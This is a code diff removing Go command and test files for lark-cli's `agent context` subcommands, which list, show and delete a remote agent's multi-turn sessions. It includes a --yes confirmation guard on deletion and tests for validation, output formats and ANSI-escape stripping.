-func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "card"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if asChanged {
-		if err := leaf.Flags().Set("as", asVal); err != nil {
-			t.Fatal(err)
-		}
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// TestResolveProvider_Success resolves a valid example ref under an explicit bot
-// identity and returns a non-nil provider.
-func TestResolveProvider_Success(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
-	if err != nil {
-		t.Fatalf("a valid ref + bot should succeed: %v", err)
-	}
-	if p == nil {
-		t.Fatal("should return a non-nil provider")
-	}
-	if id != core.AsBot {
-		t.Errorf("identity should be bot, got %s", id)
-	}
-}
-
-// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
-// invalid_argument validation error (exit 2).
-func TestResolveProvider_MalformedRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// Hand-written validation errors carry a recovery hint. A malformed ref
-	// teaches the <scheme>:<agent_id> shape.
-	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
-		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
-	}
-}
-
-// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
-func TestResolveProvider_UnknownScheme(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	// An unknown scheme points the caller at `agent list` for discovery.
-	p, _ := errs.ProblemOf(err)
-	if p == nil || !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
-	}
-}
-
-// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
-// unsupported --as is explicitly requested; the provider is never constructed.
-func TestResolveProvider_IdentityRejected(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "admin")
-
-	p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
-	if err == nil {
-		t.Fatal("an unsupported identity should error")
-	}
-	if p != nil {
-		t.Error("should not return a provider when identity validation fails")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
-// error) before any provider is built.
-func TestResolveProvider_APIClientError(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
-	cmd := resolveCmd(t, true, "bot")
-
-	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
-		t.Fatal("a Config error should propagate")
-	}
-}
-
-// unconfiguredFactory returns a Factory whose Config() errors (simulating a
-// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
-// pin that the API-free paths never reach the config gate.
-func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
-	return f
-}
-
-// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
-// regression: the API-free resolution path must NOT touch NewAPIClient, so it
-// succeeds even when Config errors, while the client-backed resolveProvider
-// still fails at the config gate.
-func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
-	if err != nil {
-		t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
-	}
-	if p == nil || id != core.AsBot {
-		t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
-	}
-	if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
-		t.Fatal("the client path should error when unconfigured (config gate)")
-	}
-}
-
-// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
-// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
-// it must not be masked by not_configured.
-func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	for _, ref := range []string{"no-colon", "nope:agt_x"} {
-		_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
-		if err == nil {
-			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
-		}
-	}
-}
-
-// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
-// card` is statically synthesized and must succeed unconfigured, never hitting
-// the config gate.
-func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
-		t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
-	}
-}
-
-// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
-// `agent send --dry-run` is a client-side preview and must succeed
-// unconfigured — the example echo card declares no parameters, so no --param is
-// needed. A malformed --param must still surface as validation, unconfigured.
-func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
-	})
-	if err != nil {
-		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
-	}
-
-	// A malformed --param (no '=') is still a validation error, unconfigured.
-	err = agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
-		Params: []string{"noequals"}, DryRun: true, As: "bot",
-	})
-	if err == nil || !errs.IsValidation(err) {
-		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
-	}
-}

cmd/agent/context.go

@@ -1,248 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextOptions holds all inputs for the `agent context list|get|delete`
-// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
-// Ref, As) are wired once; each RunE reads only the fields its verb needs.
-type contextOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	CtxID   string
-	Yes     bool
-	As      string
-	Format  string
-}
-
-// NewCmdAgentContext builds the `agent context` command group: manage a remote
-// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
-// no RunE so an unknown subcommand is reported rather than silently swallowed.
-func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "context",
-		Short: "Manage a remote agent's multi-turn contexts (sessions)",
-		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
-	}
-	cmd.AddCommand(NewCmdAgentContextList(f))
-	cmd.AddCommand(NewCmdAgentContextGet(f))
-	cmd.AddCommand(NewCmdAgentContextDelete(f))
-	return cmd
-}
-
-// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
-// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
-func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's multi-turn contexts",
-		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentContextListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
-// single context's detail. Risk=read.
-func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <ctx-id>",
-		Short: "Show the detail of a single multi-turn context",
-		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextGetRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
-// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
-// requires --yes; without it the command returns a confirmation_required error
-// (exit 10) before touching the API. Risk=high-risk-write.
-func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "delete <agent_ref> <ctx-id>",
-		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
-		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextDeleteRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
-	return cmd
-}
-
-// agentContextListRun runs `context list`: resolves the provider, lists contexts
-// and emits {contexts:[...]} with meta.count.
-func agentContextListRun(opts *contextOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call: multi_turn is derived from ListContexts
-	// being wired, so a provider without it returns unsupported_capability.
-	if p.ListContexts == nil {
-		return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	contexts, err := p.ListContexts(opts.Cmd.Context())
-	if err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printContextsTSV(f.IOStreams.Out, contexts)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"contexts": contexts},
-		Meta:     &output.Meta{Count: len(contexts)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentContextGetRun runs `context get`: resolves the provider, fetches the
-// context detail and emits it.
-func agentContextGetRun(opts *contextOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call.
-	if p.GetContext == nil {
-		return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
-	if err != nil {
-		return err
-	}
-	if detail != nil {
-		// Derive IsTerminal from State (single source of truth) for the embedded
-		// task summaries before emission.
-		detail.Tasks = normalizeTaskSummaries(detail.Tasks)
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printContextDetailPretty(f.IOStreams.Out, detail)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     detail,
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
-// first so a missing confirmation returns confirmation_required (exit 10) before
-// any provider is built and holds even under a nil Factory. Only a
-// confirmed delete reaches resolveProvider + DeleteContext.
-func agentContextDeleteRun(opts *contextOptions) error {
-	if !opts.Yes {
-		return cmdutil.RequireConfirmation("agent context delete")
-	}
-
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call.
-	if p.DeleteContext == nil {
-		return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}

cmd/agent/context_test.go

@@ -1,408 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
-// is set to bot so ResolveAs honors it verbatim, and carries a context.
-func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	grp := &cobra.Command{Use: "context"}
-	l := &cobra.Command{Use: leaf}
-	root.AddCommand(group)
-	group.AddCommand(grp)
-	grp.AddCommand(l)
-	l.Flags().String("as", "", "identity")
-	if err := l.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	l.SetContext(context.Background())
-	return l
-}
-
-// contextTestOpts wires a contextOptions against a real (test) Factory,
-// addressing the scripted fakeflow agent agt_x under a bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test; provider behavior is scripted via setScripted.
-func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, reg := cmdutil.TestFactory(t, cfg)
-	return &contextOptions{
-		Factory: f,
-		Cmd:     contextCmdCtx(t, leaf),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}, reg
-}
-
-// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
-// confirmation_required error (exit 10), raised before any provider is built.
-func TestContextDeleteRequiresYes(t *testing.T) {
-	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
-	if err == nil {
-		t.Fatal("context delete without --yes should report confirmation_required")
-	}
-	if !errs.IsConfirmationRequired(err) {
-		t.Fatalf("should be a confirmation_required error, got %T", err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
-		t.Fatalf("exit code should be 10, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("subtype should be confirmation_required, got %+v", p)
-	}
-}
-
-// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
-// deletes the session, and emits a success envelope.
-func TestContextDeleteWithYes(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	var deleted string
-	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
-		deleted = ctxID
-		return nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextDeleteRun(opts); err != nil {
-		t.Fatalf("context delete --yes should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" || data["deleted"] != true {
-		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
-	}
-	if deleted != "sess_1" {
-		t.Errorf("provider should receive the context id to delete, got %q", deleted)
-	}
-}
-
-// TestContextDeleteProviderError surfaces a provider DeleteContext failure
-// (non-zero business code) after --yes passes.
-func TestContextDeleteProviderError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	setScripted(t, scriptedHooks{deleteContext: func(string) error {
-		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextDeleteRun(opts); err == nil {
-		t.Fatal("a DeleteContext error should propagate")
-	}
-}
-
-// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
-// after the --yes confirmation guard passes.
-func TestContextDeleteInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListEmitsContexts pins that `context list` returns
-// {contexts:[...]} with a meta.count.
-func TestContextListEmitsContexts(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-			{ContextID: "sess_2"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 2 {
-		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestContextListError surfaces a provider ListContexts failure.
-func TestContextListError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextListRun(opts); err == nil {
-		t.Fatal("a ListContexts error should propagate")
-	}
-}
-
-// TestContextListInvalidRef surfaces a malformed ref as a validation error.
-func TestContextListInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextGetEmitsDetail pins that `context get` returns a single context
-// detail.
-func TestContextGetEmitsDetail(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" {
-		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
-	}
-	if data["title"] != "销售分析" {
-		t.Errorf("data.title should be echoed, got %v", data["title"])
-	}
-}
-
-// TestContextGetError surfaces a provider GetContext failure.
-func TestContextGetError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextGetRun(opts); err == nil {
-		t.Fatal("a GetContext error should propagate")
-	}
-}
-
-// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
-func TestContextGetInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListWithJq exercises the --jq output branch for list.
-func TestContextListWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
-	}})
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --jq should not error: %v", err)
-	}
-}
-
-// TestContextListPretty exercises the --format pretty human-view branch for
-// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
-// stripped of ANSI escapes.
-func TestContextListPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
-		t.Errorf("pretty output should start with a header row, got %q", s)
-	}
-	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
-		t.Errorf("pretty output should contain context_id and title, got %q", s)
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
-	}
-	if strings.Contains(s, `"ok"`) {
-		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
-	}
-}
-
-// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
-// filtered through the jq expression.
-func TestContextGetWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Cmd.Flags().String("jq", "", "")
-	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
-		t.Fatal(err)
-	}
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestContextGetPretty pins the added --format pretty branch on context get:
-// key: value lines with the tasks count, title ANSI-stripped.
-func TestContextGetPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
-			Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
-		if !strings.Contains(s, want) {
-			t.Errorf("pretty output should contain %q, got %q", want, s)
-		}
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", s)
-	}
-}
-
-// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
-func findSub(cmd *cobra.Command, name string) *cobra.Command {
-	for _, c := range cmd.Commands() {
-		if c.Name() == name {
-			return c
-		}
-	}
-	return nil
-}
-
-// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
-// RunE) with list/get/delete leaves.
-func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
-	cmd := NewCmdAgentContext(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent context group should not have RunE")
-	}
-	want := []string{"list", "get", "delete"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand context %s", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
-// the default flip: --format defaults to json.
-func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextList(nil)
